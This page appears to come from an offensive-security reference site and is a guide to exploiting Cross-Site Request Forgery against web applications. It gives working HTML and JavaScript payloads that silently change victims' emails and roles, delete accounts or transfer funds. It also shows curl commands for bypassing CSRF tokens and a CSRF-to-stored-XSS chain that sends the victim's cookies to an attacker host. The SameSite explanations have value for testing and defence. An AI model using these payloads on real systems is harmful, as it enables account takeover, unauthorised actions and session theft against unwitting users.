# CSRF Exploitation

> Exploit Cross-Site Request Forgery vulnerabilities to force authenticated users into executing unwanted actions via crafted malicious HTTP requests.

- **URL:** https://hackindex.io/services/web/exploitation/csrf-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

CSRF exploitation turns a confirmed lack of request-origin validation into real impact: account takeover, privilege changes, or data modification through the victim's authenticated session. Confirm the vulnerability first through [CSRF detection](https://hackindex.io/services/web/vulnerability-discovery/csrf-detection) before building payloads. The attacker hosts a crafted HTML page that automatically submits a request when the victim visits it. All payloads below assume the target application uses `SameSite=None` cookies or that you are exploiting a GET-based action that works under `SameSite=Lax`. For the related UI-based attack of framing target pages, see [clickjacking](https://hackindex.io/services/web/exploitation/clickjacking).

- **Auto-submitting forms** send POST requests with arbitrary parameters using hidden HTML forms and JavaScript.
- **JSON body CSRF** uses `fetch()` with `credentials: 'include'` to forge API requests with JSON payloads.
- **GET-based CSRF** works even with SameSite=Lax through image tags, links, and top-level navigations.
- **Token bypass techniques** exploit weak validation by removing, emptying, or swapping token values.
- **CSRF chained with Self-XSS** escalates a low-impact stored XSS into a full attack by forcing the victim to inject the payload themselves.

## Auto-Submitting HTML Form

The classic CSRF payload. A hidden form with pre-filled values submits automatically when the victim loads the page. This works for any endpoint that accepts `application/x-www-form-urlencoded` or `multipart/form-data` POST requests.

```xml
<html>
<body>
  <form id="csrf" action="https://TARGET/account/settings" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="role" value="admin">
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>
```

Host the file on your attacker server. When the victim visits the page, the form submits instantly and the browser includes the victim's session cookie. The page briefly flashes before redirecting to the target, which can alert the victim. To make it less visible, submit the form inside a hidden iframe instead.

```xml
<html>
<body>
  <iframe name="csrf-frame" style="display:none;"></iframe>
  <form id="csrf" action="https://TARGET/account/settings" method="POST" target="csrf-frame">
    <input type="hidden" name="email" value="attacker@evil.com">
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>
```

**Host the payload**

```bash
python3 -m http.server 8080
# Serving HTTP on 0.0.0.0 port 8080 ...
```

## JSON Body CSRF

Modern APIs expect JSON request bodies with `Content-Type: application/json`. HTML forms cannot set this content type natively, which is why JSON APIs are often assumed to be immune to CSRF. However, `fetch()` with `credentials: 'include'` can send JSON payloads cross-origin. The catch is that `application/json` triggers a preflight OPTIONS request. If the server does not handle the preflight (returns 405 or no CORS headers), the browser blocks the request.

```xml
<html>
<body>
  <script>
    fetch('https://TARGET/api/v1/account', {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({email: 'attacker@evil.com', role: 'admin'})
    });
  </script>
</body>
</html>
```

If the preflight blocks the request, try sending the JSON body with a content type that does not trigger a preflight. The following types are considered "simple" by the browser and skip preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, and `text/plain`. Some server-side frameworks parse JSON regardless of the Content-Type header.

```xml
<html>
<body>
  <script>
    fetch('https://TARGET/api/v1/account', {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'text/plain'},
      body: JSON.stringify({email: 'attacker@evil.com', role: 'admin'})
    });
  </script>
</body>
</html>
```

Another approach uses a form with `enctype="text/plain"` to send a body that looks like JSON. The form value is crafted so the resulting body is valid JSON.

```xml
<html>
<body>
  <form id="csrf" action="https://TARGET/api/v1/account" method="POST" enctype="text/plain">
    <input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>
```

The form encodes the body as `{"email":"attacker@evil.com","ignore":"="}`, which is valid JSON. The server parses the known fields and ignores the extra `ignore` key.

## Multipart Form Data CSRF

File upload forms use `multipart/form-data` encoding. This content type does not trigger a preflight request, so cross-origin file upload CSRF works without CORS permission. If the application accepts file uploads without CSRF tokens, an attacker can upload arbitrary files to the victim's account.

```xml
<html>
<body>
  <form id="csrf" action="https://TARGET/profile/avatar" method="POST" enctype="multipart/form-data" target="csrf-frame">
    <input type="hidden" name="username" value="victim">
    <input type="hidden" name="bio" value="Hacked via CSRF">
  </form>
  <iframe name="csrf-frame" style="display:none;"></iframe>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>
```

HTML forms cannot populate a file input field programmatically for security reasons. This limits multipart CSRF to non-file fields in the same form. If the upload endpoint only processes the file field and ignores other parameters, this approach has limited impact. Focus on profile update endpoints that use multipart encoding for combined text and file submissions.

## GET-Based CSRF

When state-changing actions use GET requests, CSRF works even with `SameSite=Lax` cookies. Lax allows cookies on top-level GET navigations from external sites. This makes any GET endpoint that performs actions exploitable through simple HTML tags that trigger GET requests.

```xml
<!-- Image tag: fires automatically, invisible -->
<img src="https://TARGET/account/delete?confirm=true" style="display:none;">

<!-- Link: requires victim click -->
<a href="https://TARGET/account/transfer?to=attacker&amount=1000">Click for prize</a>

<!-- Iframe: fires automatically, can be hidden -->
<iframe src="https://TARGET/account/delete?confirm=true" style="display:none;"></iframe>

<!-- Top-level redirect: fires automatically -->
<script>window.location = 'https://TARGET/api/v1/role?set=admin';</script>
```

The image tag approach is the stealthiest: it fires a GET request in the background without any visible page change. The victim never notices the request. Image tags and iframes trigger the request immediately on page load. Link tags require a click but allow social engineering the victim into triggering the action. Note that image and iframe requests are subresource requests, not top-level navigations. Under `SameSite=Lax`, only the top-level redirect and link click send cookies. Image and iframe tags do not send Lax cookies.

## Chaining CSRF with Self-XSS

Self-XSS is a stored XSS that only fires in the context of the user who injected it (for example, a payload stored in a profile field that only the profile owner sees). On its own, self-XSS has minimal impact because the attacker can only execute JavaScript in their own session. Chaining it with CSRF forces the victim's browser to inject the XSS payload into the victim's own account.

```xml
<html>
<body>
  <iframe name="csrf-frame" style="display:none;"></iframe>
  <form id="csrf" action="https://TARGET/profile/update" method="POST" target="csrf-frame">
    <input type="hidden" name="bio" value='<script>document.location="https://ATTACKER/steal?c="+document.cookie</script>'>
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>
```

The CSRF payload sets the victim's bio to an XSS payload. The next time the victim views their own profile page, the stored XSS fires in their session and exfiltrates their cookies. This turns two low-severity findings (self-XSS + CSRF) into a high-severity account compromise chain. The same technique applies to any stored input field that renders for the authoring user: display names, notes, dashboard widgets, and signature fields.

## Token Bypass Techniques

When the application includes a CSRF token but validates it poorly, several bypass strategies apply. Test each independently against the target endpoint.

**Remove the token parameter entirely.** Some frameworks only validate the token when it is present in the request. Omitting the parameter completely skips the check.

```bash
curl -sk -X POST https://$DOMAIN/account/settings -H 'Cookie: session=abc123' -d 'email=attacker@evil.com'
```

**Use a token from another session.** If tokens are not tied to the user's session, the attacker can use their own valid token in the CSRF payload. Fetch a token from your own session, then embed it in the exploit page.

```bash
curl -sk https://$DOMAIN/account/settings -H 'Cookie: attacker_session=xyz' | grep -oP 'name="_token" value="\K[^"]+' 
# a1b2c3d4e5f6g7h8i9j0
```

**Swap request method.** Some applications enforce CSRF tokens on POST but not on GET (or PUT/PATCH). If the endpoint accepts both methods, switch to one that bypasses the check.

```bash
curl -sk "https://$DOMAIN/account/settings?email=attacker@evil.com" -H 'Cookie: session=abc123'
```

**Predictable token patterns.** If the token is a simple hash of the session ID or a sequential value, generate a valid token without needing the victim's session. Capture multiple tokens across sessions and look for patterns: timestamp-based values, incrementing counters, or MD5/SHA1 of known values.

## SameSite Cookie Attribute

The `SameSite` cookie attribute controls whether the browser sends a cookie on cross-site requests. It is the browser-level defence against CSRF. Understanding the three values is essential for knowing which CSRF payloads will work against a given target.

### SameSite=Strict

The cookie is never sent on any cross-site request ,  not on form submissions, image tags, navigations, or fetch requests originating from a different site. CSRF against `Strict` cookies is not possible with a simple cross-site page. The victim must navigate to the target site and then perform the action within that browsing context. Chaining with open redirects or XSS on the target domain is required.

### SameSite=Lax

`Lax` is the default in modern browsers when no `SameSite` attribute is set. The cookie is sent on top-level navigations using safe HTTP methods (GET, HEAD) but not on subresource requests (images, iframes, fetch with credentials). This means:

- **POST form CSRF**: cookie not sent. The classic form-based exploit fails.
- **GET-based CSRF via top-level navigation**: cookie is sent. A link click or `window.location` redirect sends the Lax cookie.
- **GET via image/iframe**: cookie not sent. Subresource requests are blocked.

Many applications that do not explicitly set `SameSite` are protected against POST CSRF by default browser behaviour, but GET-based state changes remain exploitable.

### SameSite=None

The cookie is sent on all cross-site requests regardless of method or context. This is required for third-party cookies (embedded widgets, cross-domain APIs). Applications using `SameSite=None` rely on CSRF tokens or other application-level checks because the browser provides no protection. All CSRF payloads work when the session cookie is `SameSite=None`.

**Check SameSite attribute on the session cookie**

```bash
curl -ski "https://$DOMAIN/" | grep -i 'set-cookie'
# Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
```

### Two-Minute Lax Bypass Window

Chrome applies a two-minute bypass window for `SameSite=Lax` cookies that were set without an explicit `SameSite` attribute. During the first two minutes after a cookie is set, Chrome treats it as if it has no `SameSite` restriction (equivalent to `None`) to maintain backwards compatibility with older sites. If you can force the victim to re-authenticate (via CSRF logout and then re-login), their fresh session cookie may be exploitable with a full POST CSRF payload during this window.

## References

- [PortSwigger: CSRF](https://portswigger.net/web-security/csrf) - CSRF exploitation techniques and token bypass strategies
- [PortSwigger: Bypassing SameSite Restrictions](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) - SameSite bypass techniques including the two-minute window and GET-based exploitation
- [OWASP: CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) - OWASP CSRF prevention methods and common implementation flaws
- [MDN: Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch) - Fetch API credentials and CORS behavior for cross-origin requests
